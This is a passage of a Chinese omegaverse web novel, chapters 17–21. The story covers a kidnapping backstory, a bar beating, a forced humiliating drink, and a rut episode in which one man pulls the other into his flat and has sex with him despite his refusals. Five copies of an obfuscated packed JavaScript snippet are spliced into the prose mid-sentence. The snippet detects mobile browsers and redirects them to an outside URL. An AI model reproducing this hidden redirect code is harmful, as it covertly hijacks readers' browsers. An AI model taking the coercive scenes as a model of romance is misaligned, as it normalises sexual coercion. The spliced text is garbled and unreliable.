“你别给我关外头啊,我有正事要跟你说。” 听见这话苏以安停住脚步,在谢不辞进门之前折回来把门口堵住:“你先说。” “不是?!我又不坑你,你至于这么防着我吗,你把孩子一声不响的扔我家门口我都没骂你。” 苏以安不说话,就斜靠在门框上好整以暇的望向谢不辞。 “我先给你把东西搬进去再说。” 谢不辞一手拎了好几个包,几乎一趟拿走了大半个走廊的存货,因为有的包很沉,他连走进门都是晃晃悠悠的。 到阳台他才注意到,之前那个大画板被收拾起来了,虽然屋内的生活用品一类的东西都没被动过,但画一张都没留下。 谢不辞走到门口,看向连厚衣服都没来得及脱的苏以安:“你去A国私会小情人还把画都带走啊?你就不怕人家把你作品都骗走?” “怎么的?你就为专门过来质问我?” 专门质问谈不上,但一想到苏以安因为跟别人私会就要把他电话挂掉,谢不辞还是不服气。 “想说什么赶紧的,没事就出去。” “……那我真的直说了?” 苏以安轻笑了一声,然后想把雪团再塞回谢不辞怀里,结果没成想谢不辞跟个倔驴一样,死活都不伸手。 当初针锋相对了那么长时间,单是看这磨磨蹭蹭的反应苏以安就知道,绝对没好事。 甚至不光没好事,说的也肯定是他不爱听,或者听见八成会急的话。 “你别这么大反应……” “其实我想说,我查到当年绑架你的事情了,季文璟他爹把你带走对你用强。” “但是他爹上面有老板不让查,所以,你知不知道是谁在遮掩这件事?” 他这话苏以安半天都接不上。 “有心理准备说完我肯定会骂你吗,有的话那我就直接开始了。” 谢不辞见苏以安要把雪团放沙发上赶紧伸手去拦,有孩子苏以安还知道少说点脏话呢,孩子要是都不在了,他都不敢想苏以安得凶成什么样。 “是谁绑架,因为什么绑架知道吗。” “谢经理可真会避重就轻,一句轻飘飘的上面有人捂着就可以把自己摘得干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108237|138214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干净净。” 能感觉到后面苏以安还有话没说完,但听到这谢不辞就率先解释道:“我没有想推卸责任,只是当年不知道有绑架这码事,现在因为隔太久了不好往前查才先来问你是谁想帮季文璟他爹遮掩。” 他不确定苏以安信没信,可他说的没一个字是假的。 “真不知道是谁绑架?” “那不如去问问乔洛初呢。” 谢不辞有些震惊的低头看向苏以安。 苏以安没什么表情,看着他的眼神里无波无澜的,相处了这么久,谢不辞立马就感觉到了,这是苏以安在向他说实情。 他已经把绑架那人是谁讲出来了。 “那今天晚上雪团跟你睡,明天你起床以后把他送回来就好。” 这次没用苏以安轰,谢不辞自己就特别懂事的出去,临走还不忘把1501的房门给关好。 他先打了个电话让蒋泽打听一下乔洛初现在在哪,然后回自己家换了身衣服。 出门之前特意交代,他去处理点私事,任何人都不许打扰。 —— 酒吧。 谢不辞翘着二郎腿坐在卡座中间的桌子上,看着对面吊儿郎当的坐在真皮沙发上的人,喊来酒保关掉嘈杂的音乐,随后才语气平静的朝那人开口道。 “后面要跟你说的事情不太光彩,我建议你把周围这些乱七八糟的人都清掉,省得后面穿传出去,对你名声不大好。” 乔洛初松开了搂在旁边模特腰上的手,让卡座附近不太熟的人都离开,悠哉悠哉的拿起酒杯给谢不辞倒了杯酒:“谢哥,咱从高中就认识,你有什么事打个电话就行了,我绝对随叫随到,省得麻烦你还要专门跑一趟。” “这么大的事,肯定是要专门跑一趟的。” “八年前为什么要绑架苏以安,绑架完了又为什么要嫁祸到我头上。” 关了音乐的酒吧也一样很吵,这个时间正是生意最好的时候,在场的一人一句就够谢不辞听不清具体讲话内容。 但现在他很确定他说了什么,乔洛初听清了。 因为他说完以后,眼看着乔洛初紧张的吞了口口水,紧接着手脚就开始不知道往哪放。 “你也说了,认识这么多年了,我脾气不好人尽皆知,我要把你桌子掀了,谁面上都不好看。” “谢哥……都这么多年过去了,谁还没个年轻不懂事的时候啊。” “再说了,苏以安不是也没把事情闹大吗,他自己都没那么在意,就差不多算了吧,这么多年了,谁还记得请……” 他后边半句话还没说完,谢不辞就已经一拳头招呼到了他脸上。 谢不辞一点都没收着力道,这一拳过去,直接打得人失去平衡头磕在了沙发背上。 乔洛初再的抬头的时候,半边脸都是肿的。 “现在记清了吗。” 似乎是没料到谢不辞敢在大庭广众之下对他动手,因为情绪激动乔洛初开口的语调都拔高了三分:“你还以为你家跟高中似的做垄断生意吗!知道我家现在什么地位吗你就敢对我动手?!” “我有什么可不敢的?整个富人圈,就没有我谢不辞不敢得罪的人。” 18. 第 18 章 “我今天就算把你打到住院,你家也不一定有人敢来追究我的责任。” “我再问你一遍,到底为什么绑架苏以安。” 谢不辞还是那副气定神闲的坐姿,趁着乔洛初发蒙的这几秒钟,还淡定的从旁边人手里抢了根烟过来点上。 虽然表面上看起来挺云淡风轻的,但谢不辞就是有种根本压不下去的无名火,搞得他一点耐心都没有,觉得不跟人打一架也挺难受的。 最主要的是他说不出这火到底是因为什么来的。 “你有证据吗就张嘴说我绑架,我还能说你诽谤呢!” 谢不辞啧了一声,从桌子上站起来,扯着桌布把酒瓶酒杯都抖到地上,这边掀桌子的动静吸引了在场几乎所有人的视线,连环境都安静了许多。 “我没时间跟你废话。” “我们家老头子在商场打拼了这么多年,他要开口,整死一个你们家跟闹着玩似的。” “跟我装,你还不够格。” 谢不辞伸手捏住乔洛初的下巴,强迫对方的视线停留在他身上,紧接着一字一顿的开口:“八年前为什么绑架苏以安。” 周围有人在小声议论着什么,谢不辞能听清。 说的大概是他口中被绑架过这人是不是之前他在宴会厅带走的那个钟家三少爷。 问他是不是在替老婆出头。 乔洛初似乎是打定了主意觉得谢不辞不敢对他做什么,他嚣张得朝谢不辞挑眉,用毫不在乎的语气回答:“八年前的事,口说无凭,你有证据吗。” 谢不辞捏着他下巴的手用力到有些颤抖,指尖发白。 他深吸一口气,然后揪着乔洛初衬衫的衣领把人整个提起来,一脚踹上对方的胸腹,让人把卡座的沙发都撞开了小半米。 随后又觉得不解气,快步走过去拽着乔洛初的头发把人提起来。 此时有人想拦,但被谢不辞一把甩开,还附赠了一个滚。 眼见乔洛初被刚那一脚踢到脱力,整个人都软趴趴的,谢不辞还趁势又给人补了好几拳。 围观的有怕闹出大事来的,喊来了酒吧经理,但因为谢不辞是周遭所有酒吧的常客,也不是第一次打架,就没人敢上前说话。 直到看见眼前这种脸已经肿的让人看不出本来面貌了,谢不辞才停手:“最后再问一遍,到底为什么绑架苏以安。” 乔洛初没看他,也较劲似的一个字都不说。 于是谢不辞便也懒得废话,放开乔洛初的衣领,从隔壁卡座顺过来一瓶还没来得及开封的酒。 酒瓶已经举到了半空,这会身后幽幽的传来了一道声音。 “你打他有什么用啊?” 谢不辞回过头,看见苏以安把端着的酒杯放在刚才那张卡座的桌子上:“大家都认识这么多年了,没必要因为点什么大动干戈的。” “把这杯酒喝了就算过去了。” 谢不辞朝苏以安走过去,思维还不太清晰,他伸出手,却还没碰到酒杯就被苏以安拍开。 “不是给你,你别乱伸手。” 刚冷静一点的情绪又因为这句话重新窜出来。 谢不辞一脸不可思议的质问:“你给这么个玩意倒酒你不给我倒?!” 旁边立马有人特别有眼色的把乔洛初连拖带拽的扶起来,然后把刚被撞出去的卡座沙发搬回原位。 “你闭嘴,找地方坐。” 谢不辞不服,但又不敢在这种氛围让苏以安下不来台,于是专门跟闹别扭似的贴着苏以安坐在他旁边。 苏以安把酒杯往对面推了推,然后开口:“今天他是为了我来的,我说话一定好用。” “没有别的要求,你把酒喝完,我就放你走,不喝的话我现在就走,你们两个的事,你们自己解决。” 乔洛初坐在对面沙发上,神色晦暗的看向苏以安。 他依旧没说话,但也没碰桌子上那酒杯。 “你到底为啥只给他倒酒不给我倒?” 苏以安握住旁边谢不辞的手,凑近用只有他们两个人能听见的音量小声开口:“一会再跟你解释,现在你就闭嘴当个给我镇场子的,行吗。” 不得不说苏以安适时服软这一套于谢不辞而言超级受用,这话一出口谢不辞立马老老实实的坐在原位。 “是你说的喝完放我走,又不是谢不辞说的。” 闻言谢不辞立马接话:“他说什么就是什么。” “我就一个要求,全喝完之前,一滴都不能吐。” 乔洛初表情有点难看,酒吧大厅里围着的人一直都没散,但这个时候却异常安静,所有人都默契的没有出声。 在谢不辞跟苏以安两人的注视下,乔洛初端起酒杯,跟要赴死一样把酒往嘴里倒。 苏以安就像提前预料到了一样,专门找了两口喝不完的大杯子盛酒。 酒刚入口乔洛初的脸就以肉眼可见的速度变红,哪怕就只是单纯的旁观,也能看出他强忍着没把酒吐出来忍得有多难受。 好像让他喝这杯酒还不如杀了他来的痛快。 不管他要喝多久,苏以安都面无表情的看着,不让人阻止,也不开口挑衅。 那杯酒折磨了乔洛初将近二十分钟,直到空杯子被放到桌面上,苏以安眼看着他把刚才杯子里的所有酒液都吞下去,才挥了挥手示意让他走。 这会坐在旁边同样一眼不发的谢不辞就更不理解了:“不是,你真就这么算了?” “那不然呢?” 话音刚落下,就见乔洛初跪趴在地上,吐得差点不省人事。 前半场喝的和刚才被强迫着一直没敢吐的都在现在反噬,看起来像要把胆囊吐出来一样。 “谁是他朋友搭把手,给送医院去。” “放心我没下药,死不了人。” 苏以安说完,见有人把乔洛初抬出去,才招呼酒吧经理重新放音乐让刚才围观的那群客人该干嘛干嘛去。 随后有点震耳膜的重金属音乐响起,苏以安往沙发边上挪了挪,跟谢不辞拉开了点距离。 “那酒……” 谢不辞后面半句还没问完,苏以安就示意他朝他们卡座斜后方那位置看。 谢不辞回过头,正好看见有个已经秃顶的中年男人一把鼻涕一把泪的抱着个不知道是不是垃圾桶的东西吐。 “那不是后边那位第一次吐,我端过去乔洛初就知道是什么。” “倒一杯哪配得上谢经理的身价啊,咱直接抱桶喝呗,我刚才看过了,桶里小料相当丰富,今天我请,谢经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108238|138214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理喝够了再回去。” “那一桶要是不够,我还能加点钱给您准备点新的。” “去呀。” 谢不辞:…… 苏以安那话刚说了一半,谢不辞就眉头皱得好像能夹死好几只苍蝇。 看乔洛初吐成那样,也知道那哥们没吃什么好东西,还都在那垃圾桶里卸货。 整这么一杯酒过来,是够恶心的。 “那你咋知道他一定会喝?刚才我把他打成那样他都不说。” 苏以安从谢不辞口嗲里拽了根烟出来点上:“蒋泽没跟你讲这事见不得光吗。” “他这种人,挨一顿打是记不住什么的,况且谁也不是傻子。” “他只要不承认,你就算查出天来,也不可能发现什么实质性证据。” “挨顿打和进去好几年他不可能分不清。” 谢不辞不是底层人,他不懂这些弯弯绕绕情有可原。 上面老板不让查,如果谢不辞执意要拼凑出当年的真相,乔洛初单枪匹马也斗不过资本,到时候所有罪责都会是他一个人承担。 而过去了这么久,只要他咬死不承认,就算苏以安想追责,也很难定他的罪。 毕竟没听说过哪的治安监控能保存八年。 “你真的不跟我讲吗?” 苏以安越平静,谢不辞就觉得心里越不是滋味。 “也没什么好讲的,我不是说过了吗,你把孩子带好,之前的事情我们一笔勾销。” “哦对了,过来之前我让蒋泽把雪团送去了谢夫人那里,挺晚了,你直接回家吧。” 苏以安按灭了手中马上燃尽的烟,自乔洛初走后,他一个眼神都没多分给谢不辞。 谢不辞能感觉到,苏以安还是怨他的。 所以他也不知道苏以安想不想他继续往下查。 伤害已经造成了是事实,过后再怎么弥补都是亡羊补牢。 “那你能告诉我,你带着画去A国干什么了吗。” “白老师在A国办了个画展,放了我好几个作品,然后去都去了,就把放在那边的画架都托运回来了。” 他说的这个白老师,谢不辞有印象。 高中那会苏以安只相信这个老师,老师在那帮艺术生同学眼里风评很好,几乎没怎么招骂名。 是个四十多岁的中年男人,看起来很和蔼,据说一直关照着苏以安。 “怀雪团的时候,是他在照顾你?” “算是吧,白老师以前跟我爸是同学,只是毕业后很久没有联系了,那会我爸看病,他也给搭了不少钱。” 谢不辞没再说话。 不是不想跟苏以安聊,主要是酒吧这种氛围,他俩都一口没喝,实在不适合进行谈心这种活动。 因为刚才差点就有人摇啤酒瓶喷到他脸上。 而且谢不辞有种直觉,苏以安提的这个方老师,八成是个新的坑。 据他早些年间的了解,好像临毕业之前白老师摊上了什么事,然后被校方找茬辞退了。 为人这么和善,还与世无争的一个老师,能因为点啥摊上事得罪人,不就只剩管苏以安了吗。 还不如别再问了,自己查查,不然真问出点什么来没准苏以安还得跟他打一架。 19. 第 19 章 谢不辞再回到小公寓就又是凌晨了。 他跟苏以安一起回来,但从出了酒吧门开始,一直到进了两人共用的走廊,苏以安都没再说过一句话。 能感觉到苏以安心情很差,同时谢不辞也知道这种时候,说什么都像揭人伤疤,最能保证不火上浇油的办法就是闭嘴。 各自进了自己家以后,谢不辞给蒋泽打了电话,询问他去酒吧那会,后面又发生了什么。 这次蒋泽接电话的速度很慢,电话那头还传来好几个人说话的声音,不用想谢不辞就知道他是去干嘛了。 “哦你说苏以安怎么找的我?打电话呗。” “他说你想整点大事,他得去救场,我没多问,这个时候吃瓜吃不到全的能把我急到今天晚上都睡不着。” “所以我把雪团送到你家别墅就走了。” 谢不辞:…… 不愧是好兄弟,真有啥说啥,连吃他瓜这种事都要一边问当事人一边吃。 估计一次性吃到全瓜以后也不能忘了给季文璟掰一口。 结束了交流,谢不辞还完全不困。 打开自己卧室窗户吹了会冷风他才后知后觉的发现好像有什么不对劲。 他的信息素味道这么明显,这不摆明了就是……易感期吗。 难怪之前那么暴躁,苏以安没来之前一个字都懒得跟乔洛初多说,甚至要是意志力再不太坚定,没准在座每一位都得挨他一拳。 以前这种事情,谢不辞都是直接包一个顺眼的omega,给重金又让对方提前吃药避免会玩出孩子来解决。 但现在他是孩子爹了,他肯定不能再干这种事。 家里完全没有抑制剂之类的东西,他也觉得自己脾气向来不好而疏于对这方面的观察。 以至于现在还有点手足无措。 他先给育儿嫂发了消息让她第二天直接去别墅找孩子,然后通知他妈他这几天都不过去。 放下手机以后立马就能感觉到,空气中信息素的浓度越来越高,连带着谢不辞的脑子都昏昏沉沉的。 为了防止情绪失控把家具一类的东西都砸了,谢不辞从衣柜里翻了几条看起来比较结实的领带,主动把自己的手脚都绑到床腿上。 行动受限以后对物品的破坏欲就彻底达到了顶峰,他甚至觉得如果自己没把自己绑起来,现在这张床就已经被他砸到报废了。 之前在这种事情上从来不委屈自己,所以更显得现在时间过得异常漫长。 体力就像完全不会被消耗掉一般,身体里住着只猛兽,支配他要么吃了别人,要么坐在原地老老实实等着被吃。 天全亮以后,谢不辞才看见他妈回给他的消息。 说家庭医生会上门找他,给他带了特质药品过去。 看见消息没多久,外面就传来了敲门声。 谢不辞看了一看已经因为他挣扎而被磨破出血的手腕脚腕,烦躁的想把领带扯开,却因为打得是死结纹丝不动。 最后直到领带被扯断,他才得以踉跄着起身开门。 让人意想不到的是,他家门外,不止站着他妈说的家庭医生,医生旁边还有……苏以安。 他没听清两人在门□□流了什么,便遵循本能粗暴的把苏以安扯进家门,随后一个眼神都不愿意多分给还站在门口没来得及说话的医生,紧接着重重砸上了门。 医生很有眼色的什么都没说,把手中提着的袋子挂在了谢不辞家门把手上,自己乘电梯离开。 屋内因为信息素蔓延,显得两人之间的气氛都带上了几分旖旎色彩。 “不是??你医生都已经到你面前了,你拽我进来干什么?” “医生没你好用。” 这句话刚说完,苏以安就感觉到腺体位置传来剧痛,他抗议似的往谢不辞肩膀上锤了两下,但对方就像没感觉到一样,一点都没减轻力道。 “他妈的医生不好用你就换个床技好的啊,玩过那么多还找不出一个让你满意的?” “去死吧你,我又不想跟你睡。” 谢不辞松开他以后两人之间的距离也依旧挨得很近,近到一呼一吸间都能感受到对方独有的气息。 从语气中倒是能听出苏以安的阴阳怪气,但要识别内容,至少目前这个状态对谢不辞来讲,还是有点困难。 于是回答也驴唇不对马嘴的:“你最好,我想跟你睡。” 苏以安又尝试着推了谢不辞两下,omega体力方面天生弱于alpha,推不开是必然的。 同时受信息素影响,他身上也开始提不起什么力气。 …… 又莫名其妙的滚到了一起。 趁着中间有一小阵信息素稳定的时间,苏以安也没忘自己这一趟是过来干嘛的,见缝插针的开口:“你又把孩子给谁带了?靠不靠谱啊?” “什么时候去接?” 谢不辞看向苏以安眼中那自己小小的倒影,思索片刻,随后捂住他的眼睛,在他嘴唇上落下了很轻很轻的一个吻。 “做完这次就去。” “这不是刚做完吗? “我说的是做完这次易感期。” …… 这几天过得浑浑噩噩的,遮光窗帘长期拉着,让苏以安都有点分不清白天黑夜了,只知道觉得终于要结束了的时候,全身上下都好像被人拆成零部件又技术生疏的重新组装上一样。 没有一块好地方。 也没有一处是不疼的。 最后到底是睡着了还是累晕了他自己都有点分不清。 可能事后谢不辞也知道心虚,替苏以安收拾干净以后,连带着还给家里做了个大扫除。 不光把衣服床单都拿去送洗,连地板电视柜和皮质沙发都特别认真的全擦洗了一遍。 然后出门接孩子的时候,他才注意到原来他家门口有医生送来的抑制剂。 谢不辞深吸一口气,装作面无表情的样子捡起门口那个印着包装的纸袋,然后坐电梯下楼,把抑制剂扔进垃圾桶里。 没看见那就是没有。 别问,问也不能承认,不然知道这好几天没日没夜才能解决的工作量其实可以避免,苏以安能杀了他。 这几天,谢不辞看得最多的就是苏以安身上那道为了为了掩盖生过孩子这一点专门搞出来的纹身。 上次睡到一块的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108239|138214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也看见了,但看得没那么仔细。 看清了以后他也想不明白到底怎么搞的能失控成这样。 以前易感期不是没找过床伴,却都不至于让他能做到一点休息时间都不给留的程度。 最主要的是他俩这么多年跟小学生似的也不白打,苏以安真的很清楚说什么能戳到他心窝子上。 然后他就特别起征服欲。 谢不辞印象很深刻,结束后温存的时候,他把苏以安抱进怀里。 觉得苏以安也香香软软的,这是他头一次对哪个人生出抱到了就不想松开的心思。 而且不开口的时候,苏以安向来都带着冷漠疏离拒人干千里之外的气质,偏偏开了口说得全是让你想../操...死他的话。 谢不辞到别墅的时候,正好保姆刚带孩子吃完午饭。 不知道是不是因为孩子还小不太记事,反正谢不辞再要把雪团接回家的时候,雪团就跟不认识他一样。 倒是也让抱,就是不管他喊爸爸了。 你跟他说话,他也会认认真真的看着你,但会像个摆在橱窗仅用作欣赏的瓷娃娃一样,不出声也不回应你。 对谢不辞来讲,那可太好了。 他跟苏以安,目前来讲产生的所有交集都是因为孩子。 苏以安记挂着孩子呢。 带着雪团回了家,苏以安还缩在被子里睡觉。谢不辞把窗帘拉开了一小条透光的缝隙,然后把孩子塞进了被子里。 雪团是懂事的,估计他俩以前在国外一起生活的时候就有这样的习惯,苏以安睡着了的时候,他几乎不会制造出什么声音把人吵醒。 谢不辞在旁边翻着手机里好几天都没处理过的消息。 他刚回家的时候,他爸妈都不在,是看着谢不辞长大的那个保姆跟育儿嫂一起带的孩子,所以他还没挨骂。 但是他去酒吧公然打架就算了,还装b,肯定得有人给他亲爱的母亲大人送一段高清视频过去,让她看看她好儿子在外打出的英勇战绩。 谢不辞看见聊天框里那一连好几条的五十几秒大长语音,做了好久的心理准备才敢点开。 “我怎么听说,我谢哥在外名气挺大的呀,什么整个富人圈就没有他谢不辞不敢得罪的人?这啥时候的事啊?” “谢哥这么硬的后台,别藏着掖着,咱都认识二十好几年了,怎么着有这种好事也应该把靠山引荐给我们认识认识吧?” 听完一条谢不辞得深吸好几口气缓一缓。 你妈骂你这种事不可怕,谁家孩子不挨骂啊,但是可怕的是,他妈会用他在外装b的原话阴阳怪气的到他面前重复,还特别客观的给你点评两句。 比如: “我还听见了什么……今天就是把人打到住院,人家家里也不见得敢来追究你的责任。” “这可不好说啊谢哥。” “人家家里这几年生意做得挺好的,估计要是真想追究你一下也是能找到你家门口的,你也知道,咱们家丢人你得丢自己的人,你不能丢小谢的人,小谢不搭理你这一套。” 这小谢,说的是谢不辞他爸。 称呼一出来讽刺感直接拉满。 20. 第 20 章 “还有只要谁开口,就整死别人家就跟闹着玩似的?这话我怎么听不明白呢。” “原来我儿子再外面这么威风啊?天呐我这个当妈妈的也太不称职了,居然今天才知道又这样的事。” “你放心回家,妈妈给你准备四菜一汤专门迎接你,把小谢那价值七位数还珍藏三年多都没舍得拿出来的酒开了。” …… 这哪敢说话啊。 独生子也有独生子的不好,就像现在这种情况,要是有个兄弟姐妹的还能探探口风,看看他妈到底背后是怎么骂他的,也不至于让人连消息都不敢回。 从他妈那个聊天界面退出来,谢不辞又看见他们三个人那小群不知道什么时候消息提示也变成了99+。 也就是在谢不辞对外消失的这几天时间里,蒋泽他俩已经完全不经过他这个当事人,把瓜吃全了。 其中还掺杂了点高中那会的背景。 明明架是谢不辞打的,但具体怎么回事他还是靠群里聊天记录拼出来的。 故事线不是很完整,蒋泽跟季文璟也问不出来绑架苏以安的具体缘由,但他们猜了好几版故事线,最终讨论完觉得最有可能贴合实际的,是这次绑架完全由谢不辞当初大张旗鼓的说喜欢苏以安造成。 但乔洛初十alpha,当时也没听谁传出他喜欢苏以安,所以绑走□□似乎解释不通。 而且他没必要因为一个不知道从哪被接回来的omega私生子就得罪谢不辞。 然后乔洛初那会也没成年,第一次绑架人手法不娴熟,中间惹出了点什么意外被人发现了。 大半夜的,遇上了季文璟那个渣爹,由于没见过这种世面,被威逼利诱的,就把苏以安送到了人家床上。 对这个猜测谢不辞倒是挺认同的。 毕竟他也想不出什么更好的解释来,而这一版故事不光把乔洛初绑架,季文璟他爹用强都串到了一起,甚至连苏以安觉得他是始作俑者都安排明白了。 耐心得一条一条把聊天记录看到最底下,谢不辞才打字回复。 [虽然我觉得你们说得都有道理,但是不是还缺了点什么。] 消息刚发出去就收到了季文璟的回复:[缺乔洛初绑架的动机啊,这不是你一开始就想问的吗。] 哦,好有道理啊。 话是这么讲,只是谢不辞总觉得还忽略了点什么很重要的东西。 [为什么吃个瓜还要让我们跟侦探一样?] [我就说你跟苏以安,你俩但凡有一个人长了嘴,都不至于搞出现在这种局面。] 谢不辞知道蒋泽在骂他什么,还没来得及反驳,就看见苏以安从被子里爬出来,掀开窗帘看了一眼外面天还亮着没有,又看了看床边的谢不辞。 “给孩子吃饭了没有?” 听苏以安开口的声音有些沙哑,谢不辞特别有眼色的站起来给他倒了杯水。 “接回来之前保姆带着吃过了。” 不出意外,用不了一分钟,苏以安就该开始阴阳他了。 还是那种跟他妈开口有一拼的阴阳。 “你躲我那么远干啥?我还能吃了你?” “那倒也不是……” 谢不辞闻言往里挪了几乎可以忽略不计的距离,然后低着头不敢看苏以安。 他其实也没想追老婆的计划还没开始筹划,就莫名其妙的跟老婆睡到一块去。 “从你把我拽进门开始,到彻底结束一共是四天半。” “这次给多少?” “按次还是计时?” 空气都安静了好几秒。 谢不辞忽然觉得他好像也不是很了解苏以安,因为他之前预想的,苏以安醒来以后的所有场面都没有发生。 他就特别平静的坐在床头跟他提钱,就好像他们之间只是交易一样。 这话谢不辞根本就接不上啊。 “对不起。” 他不知道该说什么,也固执的不想把这次易感期当成是你来我往的交易,所以开口只能是苍白无力的道歉。 “这有什么好道歉的,大家都是成年人,这种事情也不是头一次了,你要真那么差劲,现在怎么着也应该给我报个工伤。” 苏以安掀开被子从床上下去,顺手从床头衣架子上拽了个外套裹在身上:“咱虽然认识了很多年,但彼此什么印象我就不多提了,该多少就是多少,你别想让我给你打折。” “还有,记得给雪团多穿点衣服。” 对方越是毫不在乎,谢不辞越觉得心里堵得慌。 上床可以,但好好说话不可以。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108240|138214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那逆推一下,是不是只要给钱,无论这次睡了他的是谁,他都觉得都没什么好放在心上的。 苏以安踩上最开始穿过来的那双拖鞋,没准备再跟谢不辞多说什么就要离开。 谢不辞起身,想拦着他又不知道这种情况做点什么才合适。 “在你眼里就是交易吗。” “不是你说的医生不好用吗。” 没听明白这两句话之间存在着什么必然联系,见苏以安走到门口,便立马迈开步子追上去:“跟这个有啥关系?” “那不是你易感期的癖好啊?” “你还整上二选一了?” 这下谢不辞听懂了。 他那会没过脑子脱口而出的胡话,被苏以安理解成了,那医生是他叫来解决易感期需求的…… 所以苏以安是在吃醋吗? “我不是那个意思,我想说抑制剂没你好用来着。” 不对,抑制剂让他下楼的时候做贼似的给扔了。 还有,这说出来的又是什么鬼话啊? 这还解释吗?肯定又得越描越黑了吧? “神经病。” 苏以安骂了他一句就自顾自的打开门出去,回了自己家。 然后把自己摔在床上,从床头找出充电器给好几天没用过的手机充电。 手机重新开机,刚弹出来的就是方明之的消息:[上次在A国max bar遇上的那个主唱帅哥还记得吗,他说他去你们那个城市了。] [还说听说你之前给情人烤过很好吃的蛋糕,这次刚好他过生日,想去你家坐坐,尝尝你的手艺。] 方明之说的这号人苏以安肯定是记得的,但消息里提的这个他给情人烤过蛋糕他就没印象是怎么谣传出去的了? 他只给谢不辞烤过。 关键是烤的那次,他还专门把刚开始练手的那个留给了谢不辞。 留下的那蛋糕,五颜六色的奶油全都混在了一起,然后烤糊了的外皮还被他用小刀片下来塞进了蛋糕坯放果酱夹层里。 他知道谢不辞肯定不会吃,根本也没想浪费手艺。 烤好了好吃的他都跟楼下儿童乐园那帮玩得比较好的小孩分了。 所以怎么传出来的他给情人烤过很好吃的蛋糕这种话的? 21. 第 21 章 但很快苏以安就注意到了上边那两条消息里的另一个重点:[我们这个城市?那你去哪了?] [在办A国的永居手续,我老师前阵子说带我过去一起发展,我觉得你也不太可能会留在谢不辞身边,等安置好雪团以后就走,恰好我这边也没什么亲人,就没专门跟你说。] [对了,还没问你后面什么打算呢。] 这个苏以安倒还真的没仔细思考过。 刚开始把雪团送出去的那几天,确实觉得不用冲奶粉刷奶瓶换尿布之类的,省了好多家务,轻松了不是一星半点。 但毕竟孩子是自己生的,而且带了大半年,送出去这一阵子以后,他也确实不太舍得。 最主要的是,明知道谢不辞跟个二愣子似的,让谢不辞亲自带他觉得不太靠谱,花钱让别人带,他又总会害怕还会发生上一次保姆虐待孩子这种事。 不放心。 就好像只要孩子不在自己身边,怎么都不可能放心。 实话讲,他知道自己不会是个合格的爸爸。 爱孩子是事实,可孩子是谢不辞的也是事实。 他希望自己的孩子可以过得好,所以能说出只要谢不辞把孩子养好以前的事情他就不再计较了这种话。 但他俩都认识了这么多年了,把这个大前提除去,他还能不知道谢不辞是个什么玩意? 而且圈里最忌讳的就是截胡,这次易感期,谢不辞明明都喊了人过来了,还能干出在门口把人扔下拽他进去这种事。 摆明了这么多年过去,谢不辞还是一点长进都没有的人品不行。 苏以安放下手机,呆滞的盯着天花板看了许久。 其实他也清楚,人活得就是一个念想和牵挂,如果这两样都没有,与行尸走肉也就没什么区别了。 他深吸一口气,扒拉开额前有些遮挡视线的碎发,拿出手机发消息给方明之:[手续多久可以办好?] [带我一个吧,等给雪团过完一周岁生日我就走,去A国找你。] 再往后的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108241|138214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那就以后再说吧。 走得早了连自己的脱敏工作都不做,过后有的是因为惦念孩子需要他回来的事情,走得晚了孩子就该记事了,这个时候爸爸一声不吭的离开他抛弃他,对他来讲就有点残忍了。 思来想去,大概只有雪团过完一岁生日的时候最合适。 现在是下午两点多。 刚刚好卡在上班打卡的点。 